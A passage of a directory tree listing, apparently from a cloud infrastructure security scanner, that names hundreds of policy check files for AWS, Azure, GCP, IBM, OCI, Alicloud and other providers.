APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml │ │ │ │ │ ├── APIProtectedByWAF.yaml │ │ │ │ │ ├── AWSConfigRecorderEnabled.yaml │ │ │ │ │ ├── AWSNATGatewaysshouldbeutilized.yaml │ │ │ │ │ ├── AWSSSMParameterShouldBeEncrypted.yaml │ │ │ │ │ ├── AWS_private_MWAA_environment.yaml │ │ │ │ │ ├── AWSdisableS3ACL.yaml │ │ │ │ │ ├── AppLoadBalancerTLS12.yaml │ │ │ │ │ ├── AppSyncProtectedByWAF.yaml │ │ │ │ │ ├── AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml │ │ │ │ │ ├── AutoScalingEnableOnDynamoDBTables.yaml │ │ │ │ │ ├── AutoScallingEnabledELB.yaml │ │ │ │ │ ├── CLoudFrontS3OriginConfigWithOAI.yaml │ │ │ │ │ ├── CloudFrontHasCustomSSLCertificate.yaml │ │ │ │ │ ├── CloudFrontHasResponseHeadersPolicy.yaml │ │ │ │ │ ├── CloudFrontUsesSecureProtocolsForHTTPS.yaml │ │ │ │ │ ├── CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml │ │ │ │ │ ├── CloudfrontOriginNotHTTPSOnly.yaml │ │ │ │ │ ├── CloudtrailHasCloudwatch.yaml │ │ │ │ │ ├── CodecommitApprovalRulesAttached.yaml │ │ │ │ │ ├── ConfigRecorderRecordsAllGlobalResources.yaml │ │ │ │ │ ├── DMSEndpointHaveSSLConfigured.yaml │ │ │ │ │ ├── EBSAddedBackup.yaml │ │ │ │ │ ├── EC2InstanceHasIAMRoleAttached.yaml │ │ │ │ │ ├── EFSAddedBackup.yaml │ │ │ │ │ ├── EIPAllocatedToVPCAttachedEC2.yaml │ │ │ │ │ ├── EMRClusterHasSecurityConfiguration.yaml │ │ │ │ │ ├── ElastiCacheRedisConfiguredAutomaticFailOver.yaml │ │ │ │ │ ├── ElasticSearchDedicatedMasterEnabled.yaml │ │ │ │ │ ├── EncryptedEBSVolumeOnlyConnectedToEC2s.yaml │ │ │ │ │ ├── GuardDutyIsEnabled.yaml │ │ │ │ │ ├── HTTPNotSendingPasswords.yaml │ │ │ │ │ ├── IAMGroupHasAtLeastOneUser.yaml │ │ │ │ │ ├── IAMManagedIAMFullAccessPolicy.yaml │ │ │ │ │ ├── IAMPolicyNotAllowFullIAMAccess.yaml │ │ │ │ │ ├── IAMUserHasNoConsoleAccess.yaml │ │ │ │ │ ├── IAMUsersAreMembersAtLeastOneGroup.yaml │ │ │ │ │ ├── KmsKeyPolicyIsDefined.yaml │ │ │ │ │ ├── LBTargetGroup.yaml │ │ │ │ │ ├── LBWeakCiphers.yaml │ │ │ │ │ ├── LambdaOpenCorsPolicy.yaml │ │ │ │ │ ├── NeptuneDeletionProtectionEnabled.yaml │ │ │ │ │ ├── NetworkFirewallHasLogging.yaml │ │ │ │ │ ├── OpenSearchDomainHasFineGrainedControl.yaml │ │ │ │ │ ├── PostgresDBHasQueryLoggingEnabled.yaml │ │ │ │ │ ├── PostgresRDSHasQueryLoggingEnabled.yaml │ │ │ │ │ ├── RDSClusterHasBackupPlan.yaml │ │ │ │ │ ├── RDSEnableCopyTagsToSnapshot.yaml │ │ │ │ │ ├── RDSEncryptionInTransit.yaml │ │ │ │ │ ├── Route53ARecordAttachedResource.yaml │ │ │ │ │ ├── Route53ZoneEnableDNSSECSigning.yaml │ │ │ │ │ ├── Route53ZoneHasMatchingQueryLog.yaml │ │ │ │ │ ├── S3BucketEncryption.yaml │ │ │ │ │ ├── S3BucketEventNotifications.yaml │ │ │ │ │ ├── S3BucketHasPublicAccessBlock.yaml │ │ │ │ │ ├── S3BucketLifecycle.yaml │ │ │ │ │ ├── S3BucketLogging.yaml │ │ │ │ │ ├── S3BucketReplicationConfiguration.yaml │ │ │ │ │ ├── S3BucketVersioning.yaml │ │ │ │ │ ├── S3KMSEncryptedByDefault.yaml │ │ │ │ │ ├── S3NotAllowAccessToAllAuthenticatedUsers.yaml │ │ │ │ │ ├── S3PublicACLRead.yaml │ │ │ │ │ ├── S3PublicACLWrite.yaml │ │ │ │ │ ├── SGAttachedToResource.yaml │ │ │ │ │ ├── SQSEncryptionCMK.yaml │ │ │ │ │ ├── SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml │ │ │ │ │ ├── SecretsAreRotated.yaml │ │ │ │ │ ├── SubnetHasACL.yaml │ │ │ │ │ ├── VPCHasFlowLog.yaml │ │ │ │ │ ├── VPCHasRestrictedSG.yaml │ │ │ │ │ ├── VPCPeeringRouteTableOverlyPermissive.yaml │ │ │ │ │ └── WAF2HasLogs.yaml │ │ │ │ ├── azure/ │ │ │ │ │ ├── AccessToPostgreSQLFromAzureServicesIsDisabled.yaml │ │ │ │ │ ├── ApplicationGatewayEnablesWAF.yaml │ │ │ │ │ ├── AzureACR_HTTPSwebhook.yaml │ │ │ │ │ ├── AzureAKSclusterAzureCNIEnabled.yaml │ │ │ │ │ ├── AzureActiveDirectoryAdminIsConfigured.yaml │ │ │ │ │ ├── AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml │ │ │ │ │ ├── AzureAutomationAccConfigManagedIdentity.yaml │ │ │ │ │ ├── AzureAutomationAccNotOverlyPermissiveNetAccess.yaml │ │ │ │ │ ├── AzureConfigMSSQLwithAD.yaml │ │ │ │ │ ├── AzureContainerInstanceconfigManagedIdentity.yaml │ │ │ │ │ ├── AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml │ │ │ │ │ ├── AzureKeyVaultConfigPrivateEndpoint.yaml │ │ │ │ │ ├── AzureMLWorkspaceHBIPublicNetwork.yaml │ │ │ │ │ ├── AzureMLWorkspacePublicNetwork.yaml │ │ │ │ │ ├── AzureMSSQLServerHasSecurityAlertPolicy.yaml │ │ │ │ │ ├── AzureMSSQLserverConfigPrivEndpt.yaml │ │ │ │ │ ├── AzureMariaDBserverConfigPrivEndpt.yaml │ │ │ │ │ ├── AzureMariaDBserverUsingTLS_1_2.yaml │ │ │ │ │ ├── AzureMySQLFlexibleServerConfigPrivEndpt.yaml │ │ │ │ │ ├── AzureMySQLserverConfigPrivEndpt.yaml │ │ │ │ │ ├── AzureNetworkInterfacePublicIPAddressId.yaml │ │ │ │ │ ├── AzurePostgreSQLFlexServerNotOverlyPermissive.yaml │ │ │ │ │ ├── AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml │ │ │ │ │ ├── AzurePostgreSQLserverConfigPrivEndpt.yaml │ │ │ │ │ ├── AzureRecoveryServicesvaultConfigManagedIdentity.yaml │ │ │ │ │ ├── AzureSQLserverNotOverlyPermissive.yaml │ │ │ │ │ ├── AzureSpringCloudConfigWithVnet.yaml │ │ │ │ │ ├── AzureSpringCloudTLSDisabled.yaml │ │ │ │ │ ├── AzureSqlDbEnableTransparentDataEncryption.yaml │ │ │ │ │ ├── AzureStorageAccConfigSharedKeyAuth.yaml │ │ │ │ │ ├── AzureStorageAccConfigWithPrivateEndpoint.yaml │ │ │ │ │ ├── AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml │ │ │ │ │ ├── AzureStorageAccConfig_SAS_expirePolicy.yaml │ │ │ │ │ ├── AzureStorageAccountEnableSoftDelete.yaml │ │ │ │ │ ├── AzureSubnetConfigWithNSG.yaml │ │ │ │ │ ├── AzureSynapseWorkspaceVAisEnabled.yaml │ │ │ │ │ ├── AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml │ │ │ │ │ ├── AzureUnattachedDisksAreEncrypted.yaml │ │ │ │ │ ├── AzureVMconfigPublicIP_SerialConsoleAccess.yaml │ │ │ │ │ ├── CognitiveServicesCustomerManagedKey.yaml │ │ │ │ │ ├── DataExplorerEncryptionUsesCustomKey.yaml │ │ │ │ │ ├── DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml │ │ │ │ │ ├── MSQLenablesCustomerManagedKey.yaml │ │ │ │ │ ├── PGSQLenablesCustomerManagedKey.yaml │ │ │ │ │ ├── SQLServerAuditingEnabled.yaml │ │ │ │ │ ├── SQLServerAuditingRetention90Days.yaml │ │ │ │ │ ├── StorageContainerActivityLogsNotPublic.yaml │ │ │ │ │ ├── StorageCriticalDataEncryptedCMK.yaml │ │ │ │ │ ├── StorageLoggingIsEnabledForBlobService.yaml │ │ │ │ │ ├── StorageLoggingIsEnabledForTableService.yaml │ │ │ │ │ ├── SynapseLogMonitoringEnabledForSQLPool.yaml │ │ │ │ │ ├── SynapseSQLPoolHasSecurityAlertPolicy.yaml │ │ │ │ │ ├── SynapseSQLPoolHasVulnerabilityAssessment.yaml │ │ │ │ │ ├── SynapseWorkspaceHasExtendedAuditLogs.yaml │ │ │ │ │ ├── VAconfiguredToSendReports.yaml │ │ │ │ │ ├── VAconfiguredToSendReportsToAdmins.yaml │ │ │ │ │ ├── VAisEnabledInStorageAccount.yaml │ │ │ │ │ ├── VAsetPeriodicScansOnSQL.yaml │ │ │ │ │ ├── VMHasBackUpMachine.yaml │ │ │ │ │ └── VirtualMachinesUtilizingManagedDisks.yaml │ │ │ │ ├── azuredevops/ │ │ │ │ │ └── ADORepositoryHasMinTwoReviewers.yaml │ │ │ │ ├── gcp/ │ │ │ │ │ ├── CloudFunctionSecureHTTPTrigger.yaml │ │ │ │ │ ├── DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml │ │ │ │ │ ├── GCPAuditLogsConfiguredForAllServicesAndUsers.yaml │ │ │ │ │ ├── GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml │ │ │ │ │ ├── GCPComputeGlobalForwardingRuleCheck.yaml │ │ │ │ │ ├── GCPComputeRegionalForwardingRuleCheck.yaml │ │ │ │ │ ├── GCPContainerRegistryReposAreNotPubliclyAccessible.yaml │ │ │ │ │ ├── GCPDialogFlowAgentLoggingEnabled.yaml │ │ │ │ │ ├── GCPDialogFlowCxAgentLoggingEnabled.yaml │ │ │ │ │ ├── GCPDialogFlowCxWebhookLoggingEnabled.yaml │ │ │ │ │ ├── GCPDocumentAIProcessorEncryptedWithCMK.yaml │ │ │ │ │ ├── GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml │ │ │ │ │ ├── GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml │ │ │ │ │ ├── GCPKMSKeyRingsAreNotPubliclyAccessible.yaml │ │ │ │ │ ├── GCPLogBucketsConfiguredUsingLock.yaml │ │ │ │ │ ├── GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml │ │ │ │ │ ├── GCPNetworkDoesNotUseDefaultFirewall.yaml │ │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml │ │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml │ │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml │ │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml │ │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml │ │ │ │ │ ├── GCPProjectHasNoLegacyNetworks.yaml │ │ │ │ │ ├── GCPTpuV2VmPrivateEndpoint.yaml │ │ │ │ │ ├── GCPVertexAIEndpointEncryptedWithCMK.yaml │ │ │ │ │ ├── GCPVertexAIFeaturestoreEncryptedWithCMK.yaml │ │ │ │ │ ├── GCPVertexAIPrivateEndpoint.yaml │ │ │ │ │ ├── GCPVertexAIPrivateIndexEndpoint.yaml │ │ │ │ │ ├── GCPVertexAITensorboardEncryptedWithCMK.yaml │ │ │ │ │ ├── GCPVertexInstanceEncryptedWithCMK.yaml │ │ │ │ │ ├── GCPVertexRuntimeEncryptedWithCMK.yaml │ │ │ │ │ ├── GCPVertexRuntimePrivate.yaml │ │ │ │ │ ├── GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml │ │ │ │ │ ├── GCPVertexWorkbenchInstanceNoPublicIp.yaml │ │ │ │ │ ├── GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml │ │ │ │ │ ├── GCRContainerVulnerabilityScanningEnabled.yaml │ │ │ │ │ ├── GKEClustersAreNotUsingDefaultServiceAccount.yaml │ │ │ │ │ └── ServiceAccountHasGCPmanagedKey.yaml │ │ │ │ ├── github/ │ │ │ │ │ └── RepositoryHasBranchProtection.yaml │ │ │ │ ├── ibm/ │ │ │ │ │ ├── IBM_EnableMFAatAccountLevel.yaml │ │ │ │ │ ├── IBM_K8sClustersAccessibleViaPrivateEndPt.yaml │ │ │ │ │ ├── IBM_LoadBalancerforVPCisPrivate.yaml │ │ │ │ │ ├── IBM_RestrictAPIkeyCreationInAccountSettings.yaml │ │ │ │ │ ├── IBM_RestrictServiceIDCreationInAccountSettings.yaml │ │ │ │ │ └── IBM_VPCclassicAccessIsDisabled.yaml │ │ │ │ ├── ncp/ │ │ │ │ │ ├── AccessControlGroupRuleDefine.yaml │ │ │ │ │ ├── AutoScalingEnabledLB.yaml │ │ │ │ │ └── RouteTablePublicSubnetConnection.yaml │ │ │ │ └── oci/ │ │ │ │ ├── AdministratorUserNotAssociatedWithAPIKey.yaml │ │ │ │ ├── OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml │ │ │ │ ├── OCI_K8EngineClusterPodSecPolicyEnforced.yaml │ │ │ │ ├── OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml │ │ │ │ ├── OCI_NFSaccessRestrictedToRootUsers.yaml │ │ │ │ └── OCI_NSGNotAllowRDP.yaml │ │ │ ├── module/ │ │ │ │ ├── __init__.py │ │ │ │ ├── base_module_check.py │ │ │ │ ├── base_registry.py │ │ │ │ ├── generic/ │ │ │ │ │ ├── RevisionHash.py │ │ │ │ │ ├── RevisionVersionTag.py │ │ │ │ │ └── __init__.py │ │ │ │ └── registry.py │ │ │ ├── provider/ │ │ │ │ ├── __init__.py │ │ │ │ ├── aws/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── credentials.py │ │ │ │ ├── base_check.py │ │ │ │ ├── base_registry.py │ │ │ │ ├── bridgecrew/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── credentials.py │ │ │ │ ├── linode/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── credentials.py │ │ │ │ ├── ncp/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── credentials.py │ │ │ │ ├── oci/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── credentials.py │ │ │ │ ├── openstack/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── credentials.py │ │ │ │ ├── panos/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── credentials.py │ │ │ │ └── registry.py │ │ │ ├── resource/ │ │ │ │ ├── __init__.py │ │ │ │ ├── alicloud/ │ │ │ │ │ ├── ALBACLIsUnrestricted.py │ │ │ │ │ ├── APIGatewayProtocolHTTPS.py │ │ │ │ │ ├── AbsRDSParameter.py │ │ │ │ │ ├── AbsSecurityGroupUnrestrictedIngress.py │ │ │ │ │ ├── ActionTrailLogAllEvents.py │ │ │ │ │ ├── ActionTrailLogAllRegions.py │ │ │ │ │ ├── DiskEncryptedWithCMK.py │ │ │ │ │ ├── DiskIsEncrypted.py │ │ │ │ │ ├── K8sEnableNetworkPolicies.py │ │ │ │ │ ├── K8sNodePoolAutoRepair.py │ │ │ │ │ ├── KMSKeyIsEnabled.py │ │ │ │ │ ├── KMSKeyRotationIsEnabled.py │ │ │ │ │ ├── LaunchTemplateDisksAreEncrypted.py │ │ │ │ │ ├── LogAuditRDSEnabled.py │ │ │ │ │ ├── MongoDBInsideVPC.py │ │ │ │ │ ├── MongoDBInstanceSSL.py │ │ │ │ │ ├── MongoDBIsPublic.py │ │ │ │ │ ├── MongoDBTransparentDataEncryptionEnabled.py │ │ │ │ │ ├── OSSBucketAccessLogs.py │ │ │ │ │ ├── OSSBucketEncryptedWithCMK.py │ │ │ │ │ ├── OSSBucketTransferAcceleration.py │ │ │ │ │ ├── OSSBucketVersioning.py │ │ │ │ │ ├── RAMPasswordPolicyExpiration.py │ │ │ │ │ ├── RAMPasswordPolicyLength.py │ │ │ │ │ ├── RAMPasswordPolicyLowercaseLetter.py │ │ │ │ │ ├── RAMPasswordPolicyMaxLogin.py │ │ │ │ │ ├── RAMPasswordPolicyNumber.py │ │ │ │ │ ├── RAMPasswordPolicyReuse.py │ │ │ │ │ ├── RAMPasswordPolicySymbol.py │ │ │ │ │ ├── RAMPasswordPolicyUppcaseLetter.py │ │ │ │ │ ├── RAMSecurityEnforceMFA.py │ │ │ │ │ ├── RDSInstanceAutoUpgrade.py │ │ │ │ │ ├── RDSInstanceLogConnections.py │ │ │ │ │ ├── RDSInstanceLogDisconnections.py │ │ │ │ │ ├── RDSInstanceLogsEnabled.py │ │ │ │ │ ├── RDSInstanceSSL.py │ │ │ │ │ ├── RDSIsPublic.py │ │ │ │ │ ├── RDSRetention.py │ │ │ │ │ ├── RDSTransparentDataEncryptionEnabled.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress22.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress3389.py │ │ │ │ │ ├── TLSPoliciesAreSecure.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── aws/ │ │ │ │ │ ├── ACMCertCreateBeforeDestroy.py │ │ │ │ │ ├── ACMCertSetLoggingPreference.py │ │ │ │ │ ├── ALBDesyncMode.py │ │ │ │ │ ├── ALBDropHttpHeaders.py │ │ │ │ │ ├── ALBListenerHTTPS.py │ │ │ │ │ ├── AMICopyIsEncrypted.py │ │ │ │ │ ├── AMICopyUsesCMK.py │ │ │ │ │ ├── AMIEncryption.py │ │ │ │ │ ├── AMILaunchIsShared.py │ │ │ │ │ ├── APIGatewayAccessLogging.py │ │ │ │ │ ├── APIGatewayAuthorization.py │ │ │ │ │ ├── APIGatewayCacheEnable.py │ │ │ │ │ ├── APIGatewayCreateBeforeDestroy.py │ │ │ │ │ ├── APIGatewayDeploymentCreateBeforeDestroy.py │ │ │ │ │ ├── APIGatewayDomainNameTLS.py │ │ │ │ │ ├── APIGatewayMethodSettingsCacheEnabled.py │ │ │ │ │ ├── APIGatewayMethodSettingsCacheEncrypted.py │ │ │ │ │ ├── APIGatewayMethodSettingsDataTrace.py │ │ │ │ │ ├── APIGatewayMethodWOAuth.py │ │ │ │ │ ├── APIGatewayV2RouteDefinesAuthorizationType.py │ │ │ │ │ ├── APIGatewayXray.py │ │ │ │ │ ├── AWSCodeGuruHasCMK.py │ │ │ │ │ ├── AbsNACLUnrestrictedIngress.py │ │ │ │ │ ├── AbsSecurityGroupUnrestrictedEgress.py │ │ │ │ │ ├── AbsSecurityGroupUnrestrictedIngress.py │ │ │ │ │ ├── AppFlowConnectorProfileUsesCMK.py │ │ │ │ │ ├── AppFlowUsesCMK.py │ │ │ │ │ ├── AppSyncFieldLevelLogs.py │ │ │ │ │ ├── AppSyncLogging.py │ │ │ │ │ ├── AppsyncAPICacheEncryptionAtRest.py │ │ │ │ │ ├── AppsyncAPICacheEncryptionInTransit.py │ │ │ │ │ ├── AthenaDatabaseEncryption.py │ │ │ │ │ ├── AthenaWorkgroupConfiguration.py │ │ │ │ │ ├── AthenaWorkgroupEncryption.py │ │ │ │ │ ├── AuroraEncryption.py │ │ │ │ │ ├── AutoScalingGroupWithPublicAccess.py │ │ │ │ │ ├── AutoScalingLaunchTemplate.py │ │ │ │ │ ├── AutoScalingTagging.py │ │ │ │ │ ├── BackupVaultEncrypted.py │ │ │ │ │ ├── BatchJobIsNotPrivileged.py │ │ │ │ │ ├── BedrockAgentEncrypted.py │ │ │ │ │ ├── BedrockGuardrails.py │ │ │ │ │ ├── CloudFrontGeoRestrictionDisabled.py │ │ │ │ │ ├── CloudFrontResponseHeaderStrictTransportSecurity.py │ │ │ │ │ ├── CloudWatchAlarmsEnabled.py │ │ │ │ │ ├── CloudWatchLogGroupKMSKey.py │ │ │ │ │ ├── CloudWatchLogGroupRetention.py │ │ │ │ │ ├── CloudWatchLogGroupRetentionYear.py │ │ │ │ │ ├── CloudformationStackNotificationArns.py │ │ │ │ │ ├── CloudfrontDistributionDefaultRoot.py │ │ │ │ │ ├── CloudfrontDistributionEnabled.py │ │ │ │ │ ├── CloudfrontDistributionEncryption.py │ │ │ │ │ ├── CloudfrontDistributionLogging.py │ │ │ │ │ ├── CloudfrontDistributionOriginFailover.py │ │ │ │ │ ├── CloudfrontTLS12.py │ │ │ │ │ ├── CloudsearchDomainEnforceHttps.py │ │ │ │ │ ├── CloudsearchDomainTLS.py │ │ │ │ │ ├── CloudtrailDefinesSNSTopic.py │ │ │ │ │ ├── CloudtrailEnableLogging.py │ │ │ │ │ ├── CloudtrailEncryptionWithCMK.py │ │ │ │ │ ├── CloudtrailEventDataStoreUsesCMK.py │ │ │ │ │ ├── CloudtrailLogValidation.py │ │ │ │ │ ├── CloudtrailMultiRegion.py │ │ │ │ │ ├── CodeArtifactDomainEncryptedWithCMK.py │ │ │ │ │ ├── CodeBuildPrivilegedMode.py │ │ │ │ │ ├── CodeBuildProjectEncryption.py │ │ │ │ │ ├── CodePipelineArtifactsEncrypted.py │ │ │ │ │ ├── CodebuildHasLogs.py │ │ │ │ │ ├── CodebuildS3LogsEncrypted.py │ │ │ │ │ ├── CodebuildUsesCMK.py │ │ │ │ │ ├── CodecommitApprovalsRulesRequireMin2.py │ │ │ │ │ ├── CognitoUnauthenticatedIdentities.py │ │ │ │ │ ├── ComprehendEntityRecognizerModelUsesCMK.py │ │ │ │ │ ├── ComprehendEntityRecognizerVolumeUsesCMK.py │ │ │ │ │ ├── ConfigConfgurationAggregatorAllRegions.py │ │ │ │ │ ├── ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py │ │ │ │ │ ├── ConnectInstanceS3StorageConfigUsesCMK.py │ │ │ │ │ ├── DAXEncryption.py │ │ │ │ │ ├── DAXEndpointTLS.py │ │ │ │ │ ├── DBInstanceBackupRetentionPeriod.py │ │ │ │ │ ├── DBInstanceLogging.py │ │ │ │ │ ├── DBInstanceMinorUpgrade.py │ │ │ │ │ ├── DBSnapshotCopyUsesCMK.py │ │ │ │ │ ├── DBSnapshotsArePrivate.py │ │ │ │ │ ├── DLMEventsCrossRegionEncryption.py │ │ │ │ │ ├── DLMEventsCrossRegionEncryptionWithCMK.py │ │ │ │ │ ├── DLMScheduleCrossRegionEncryption.py │ │ │ │ │ ├── DLMScheduleCrossRegionEncryptionWithCMK.py │ │ │ │ │ ├── DMSEndpointUsesCMK.py │ │ │ │ │ ├── DMSReplicationInstanceEncryptedWithCMK.py │ │ │ │ │ ├── DMSReplicationInstanceMinorUpgrade.py │ │ │ │ │ ├── DMSReplicationInstancePubliclyAccessible.py │ │ │ │ │ ├── DMSS3UsesCMK.py │ │ │ │ │ ├── DatasyncLocationExposesSecrets.py │ │ │ │ │ ├── DeprecatedLambdaRuntime.py │ │ │ │ │ ├── DocDBAuditLogs.py │ │ │ │ │ ├── DocDBBackupRetention.py │ │ │ │ │ ├── DocDBEncryptedWithCMK.py │ │ │ │ │ ├── DocDBEncryption.py │ │ │ │ │ ├── DocDBGlobalClusterEncryption.py │ │ │ │ │ ├── DocDBLogging.py │ │ │ │ │ ├── DocDBTLS.py │ │ │ │ │ ├── DynamoDBGlobalTableRecovery.py │ │ │ │ │ ├── DynamoDBTableReplicaKMSUsesCMK.py │ │ │ │ │ ├── DynamoDBTablesEncrypted.py │ │ │ │ │ ├── DynamodbRecovery.py │ │ │ │ │ ├── EBSDefaultEncryption.py │ │ │ │ │ ├── EBSEncryption.py │ │ │ │ │ ├── EBSSnapshotCopyEncryptedWithCMK.py │ │ │ │ │ ├── EBSVolumeEncryptedWithCMK.py │ │ │ │ │ ├── EC2Credentials.py │ │ │ │ │ ├── EC2DetailedMonitoringEnabled.py │ │ │ │ │ ├── EC2EBSOptimized.py │ │ │ │ │ ├── EC2PublicIP.py │ │ │ │ │ ├── ECRImageScanning.py │ │ │ │ │ ├── ECRImmutableTags.py │ │ │ │ │ ├── ECRPolicy.py │ │ │ │ │ ├── ECRRepositoryEncrypted.py │ │ │ │ │ ├── ECSClusterContainerInsights.py │ │ │ │ │ ├── ECSClusterLoggingEnabled.py │ │ │ │ │ ├── ECSClusterLoggingEncryptedWithCMK.py │ │ │ │ │ ├── ECSContainerHostProcess.py │ │ │ │ │ ├── ECSContainerPrivilege.py │ │ │ │ │ ├── ECSContainerReadOnlyRoot.py │ │ │ │ │ ├── ECSServiceFargateLatest.py │ │ │ │ │ ├── ECSServicePublicIP.py │ │ │ │ │ ├── ECSTaskDefinitionEFSVolumeEncryption.py │ │ │ │ │ ├── ECSTaskDefinitionRoleCheck.py │ │ │ │ │ ├── EFSAccessPointRoot.py │ │ │ │ │ ├── EFSAccessUserIdentity.py │ │ │ │ │ ├── EFSEncryptionEnabled.py │ │ │ │ │ ├── EFSFileSystemEncryptedWithCMK.py │ │ │ │ │ ├── EKSControlPlaneLogging.py │ │ │ │ │ ├── EKSNodeGroupRemoteAccess.py │ │ │ │ │ ├── EKSPlatformVersion.py │ │ │ │ │ ├── EKSPublicAccess.py │ │ │ │ │ ├── EKSPublicAccessCIDR.py │ │ │ │ │ ├── EKSSecretsEncryption.py │ │ │ │ │ ├── ELBAccessLogs.py │ │ │ │ │ ├── ELBCrossZoneEnable.py │ │ │ │ │ ├── ELBPolicyUsesSecureProtocols.py │ │ │ │ │ ├── ELBUsesSSL.py │ │ │ │ │ ├── ELBv2AccessLogs.py │ │ │ │ │ ├── ELBwListenerNotTLSSSL.py │ │ │ │ │ ├── EMRClusterConfEncryptsEBS.py │ │ │ │ │ ├── EMRClusterConfEncryptsInTransit.py │ │ │ │ │ ├── EMRClusterConfEncryptsLocalDisk.py │ │ │ │ │ ├── EMRClusterIsEncryptedKMS.py │ │ │ │ │ ├── EMRClusterKerberosAttributes.py │ │ │ │ │ ├── EMRPubliclyAccessible.py │ │ │ │ │ ├── Ec2TransitGatewayAutoAccept.py │ │ │ │ │ ├── ElastiCacheHasCustomSubnet.py │ │ │ │ │ ├── ElasticBeanstalkUseEnhancedHealthChecks.py │ │ │ │ │ ├── ElasticBeanstalkUseManagedUpdates.py │ │ │ │ │ ├── ElasticCacheAutomaticBackup.py │ │ │ │ │ ├── ElasticCacheAutomaticMinorUpgrades.py │ │ │ │ │ ├── ElasticacheHasSecurityGroup.py │ │ │ │ │ ├── ElasticacheReplicationGroupEncryptedWithCMK.py │ │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtRest.py │ │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransit.py │ │ │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py │ │ │ │ │ ├── ElasticsearchDefaultSG.py │ │ │ │ │ ├── ElasticsearchDomainAuditLogging.py │ │ │ │ │ ├── ElasticsearchDomainEnforceHTTPS.py │ │ │ │ │ ├── ElasticsearchDomainHA.py │ │ │ │ │ ├── ElasticsearchDomainLogging.py │ │ │ │ │ ├── ElasticsearchEncryption.py │ │ │ │ │ ├── ElasticsearchEncryptionWithCMK.py │ │ │ │ │ ├── ElasticsearchInVPC.py │ │ │ │ │ ├── ElasticsearchNodeToNodeEncryption.py │ │ │ │ │ ├── ElasticsearchTLSPolicy.py │ │ │ │ │ ├── FSXOntapFSEncryptedWithCMK.py │ │ │ │ │ ├── FSXOpenZFSFileSystemEncryptedWithCMK.py │ │ │ │ │ ├── FSXWindowsFSEncryptedWithCMK.py │ │ │ │ │ ├── GlacierVaultAnyPrincipal.py │ │ │ │ │ ├── GlobalAcceleratorAcceleratorFlowLogs.py │ │ │ │ │ ├── GlueDataCatalogEncryption.py │ │ │ │ │ ├── GlueSecurityConfiguration.py │ │ │ │ │ ├── GlueSecurityConfigurationEnabled.py │ │ │ │ │ ├── GuarddutyDetectorEnabled.py │ │ │ │ │ ├── IAMAdminPolicyDocument.py │ │ │ │ │ ├── IAMCredentialsExposure.py │ │ │ │ │ ├── IAMDataExfiltration.py │ │ │ │ │ ├── IAMManagedAdminPolicy.py │ │ │ │ │ ├── IAMPermissionsManagement.py │ │ │ │ │ ├── IAMPolicyAttachedToGroupOrRoles.py │ │ │ │ │ ├── IAMPrivilegeEscalation.py │ │ │ │ │ ├── IAMRoleAllowAssumeFromAccount.py │ │ │ │ │ ├── IAMRoleAllowsPublicAssume.py │ │ │ │ │ ├── IAMStarActionPolicyDocument.py │ │ │ │ │ ├── IAMStarResourcePolicyDocument.py │ │ │ │ │ ├── IAMUserNotUsedForAccess.py │ │ │ │ │ ├── IAMUserRootAccessKeys.py │ │ │ │ │ ├── IAMWriteAccess.py │ │ │ │ │ ├── IMDSv1Disabled.py │ │ │ │ │ ├── ImagebuilderComponentEncryptedWithCMK.py │ │ │ │ │ ├── ImagebuilderDistributionConfigurationEncryptedWithCMK.py │ │ │ │ │ ├── ImagebuilderImageRecipeEBSEncrypted.py │ │ │ │ │ ├── KMSKeyIsEnabled.py │ │ │ │ │ ├── KMSKeyWildcardPrincipal.py │ │ │ │ │ ├── KMSRotation.py │ │ │ │ │ ├── KendraIndexSSEUsesCMK.py │ │ │ │ │ ├── KeyspacesTableUsesCMK.py │ │ │ │ │ ├── KinesisFirehoseDeliveryStreamSSE.py │ │ │ │ │ ├── KinesisFirehoseDeliveryStreamUsesCMK.py │ │ │ │ │ ├── KinesisStreamEncryptedWithCMK.py │ │ │ │ │ ├── KinesisStreamEncryptionType.py │ │ │ │ │ ├── KinesisVideoEncryptedWithCMK.py │ │ │ │ │ ├── LBCrossZone.py │ │ │ │ │ ├── LBDeletionProtection.py │ │ │ │ │ ├── LBTargetGroupsDefinesHealthcheck.py │ │ │ │ │ ├── LambdaCodeSigningConfigured.py │ │ │ │ │ ├── 